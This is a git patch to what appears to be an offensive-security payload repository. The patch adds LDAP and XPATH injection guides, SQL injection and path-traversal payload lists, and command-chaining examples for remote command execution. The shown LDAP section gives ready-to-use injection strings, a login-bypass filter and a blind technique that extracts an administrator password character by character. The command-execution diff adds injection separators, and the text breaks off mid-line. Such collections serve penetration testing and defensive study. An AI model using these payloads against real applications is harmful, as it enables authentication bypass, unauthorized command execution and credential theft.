From 77e2fc82268a93c764ad28bfa020606043ae7d0e Mon Sep 17 00:00:00 2001 From: Swissky Date: Fri, 14 Jul 2017 23:40:31 +0200 Subject: [PATCH] LDAP & XPATH injection + Small fixes and payloads --- .../Apache Struts2.py | 0 Insecured source code management/README.md | 2 +- LDAP injection/README.md | 56 ++ Remote commands execution/README.md | 13 + .../command-execution-unix.txt | 70 ++ .../Payloads/FUZZDB_MSSQL-WHERE_Blind.txt | 40 + ...ation.txt => FUZZDB_MSSQL_Enumeration.txt} | 0 .../Payloads/FUZZDB_MySQL-WHERE_Blind.txt | 45 + ...on.txt => FUZZDB_Postgres_Enumeration.txt} | 0 .../traversals-8-deep-exotic-encoding.txt | 887 ++++++++++++++++++ XPATH injection/README.md | 35 + 11 files changed, 1147 insertions(+), 1 deletion(-) mode change 100644 => 100755 CVE Shellshock Heartbleed Struts2/Apache Struts2.py create mode 100644 LDAP injection/README.md create mode 100644 Remote commands execution/command-execution-unix.txt create mode 100644 SQL injection/Payloads/FUZZDB_MSSQL-WHERE_Blind.txt rename SQL injection/Payloads/{FUZZDB_MSSQLEnumeration.txt => FUZZDB_MSSQL_Enumeration.txt} (100%) create mode 100644 SQL injection/Payloads/FUZZDB_MySQL-WHERE_Blind.txt rename SQL injection/Payloads/{FUZZDB_PostgresEnumeration.txt => FUZZDB_Postgres_Enumeration.txt} (100%) create mode 100644 Traversal directory/traversals-8-deep-exotic-encoding.txt create mode 100644 XPATH injection/README.md diff --git a/CVE Shellshock Heartbleed Struts2/Apache Struts2.py b/CVE Shellshock Heartbleed Struts2/Apache Struts2.py old mode 100644 new mode 100755 diff --git a/Insecured source code management/README.md b/Insecured source code management/README.md index 2ede216..7213a2a 100644 --- a/Insecured source code management/README.md +++ b/Insecured source code management/README.md @@ -1,7 +1,7 @@ # GIT - Source management Github example -1. Check 403 error (Forbidden) for .git +1. Check 403 error (Forbidden) for .git or even better : directory listing 2. Git saves all informations in log file .git/logs/HEAD (try 'head' too) ``` diff --git a/LDAP injection/README.md b/LDAP injection/README.md new file mode 100644 index 0000000..0e94328 --- /dev/null +++ b/LDAP injection/README.md @@ -0,0 +1,56 @@ +# LDAP injection +LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy. + +## Exploitation +``` +user = *)(uid=*))(|(uid=* +pass = password +query = "(&(uid=*)(uid=*)) (|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))" +``` + +## Payloads +``` +* +*)(& +*))%00 +*()|%26' +*()|&' +*(|(mail=*)) +*(|(objectclass=*)) +*)(uid=*))(|(uid=* +*/* +*| +/ +// +//* +@* +| +admin* +admin*)((|userpassword=*) +admin*)((|userPassword=*) +x' or name()='username' or 'x'='y +``` + +## Blind Exploitation +We can extract using a bypass login +``` +(&(sn=administrator)(password=*)) : OK +(&(sn=administrator)(password=A*)) : KO +(&(sn=administrator)(password=B*)) : KO +... +(&(sn=administrator)(password=M*)) : OK +(&(sn=administrator)(password=MA*)) : KO +(&(sn=administrator)(password=MB*)) : KO +... +(&(sn=administrator)(password=MY*)) : OK +(&(sn=administrator)(password=MYA*)) : KO +(&(sn=administrator)(password=MYB*)) : KO +(&(sn=administrator)(password=MYC*)) : KO +... +(&(sn=administrator)(password=MYK*)) : OK +(&(sn=administrator)(password=MYKE)) : OK +``` + +## Thanks to +* [OWASP LDAP Injection](https://www.owasp.org/index.php/LDAP_injection) +* [LDAP Blind Explorer](http://code.google.com/p/ldap-blind-explorer/) diff --git a/Remote commands execution/README.md b/Remote commands execution/README.md index ff25192..afd2413 100644 --- a/Remote commands execution/README.md +++ b/Remote commands execution/README.md @@ -17,10 +17,14 @@ Code execution by chaining commands original_cmd_by_server; ls original_cmd_by_server && ls original_cmd_by_server | ls +original_cmd_by_server `ls` ``` Code execution without space - Linux ``` +swissky@crashlab:~/Www$ cat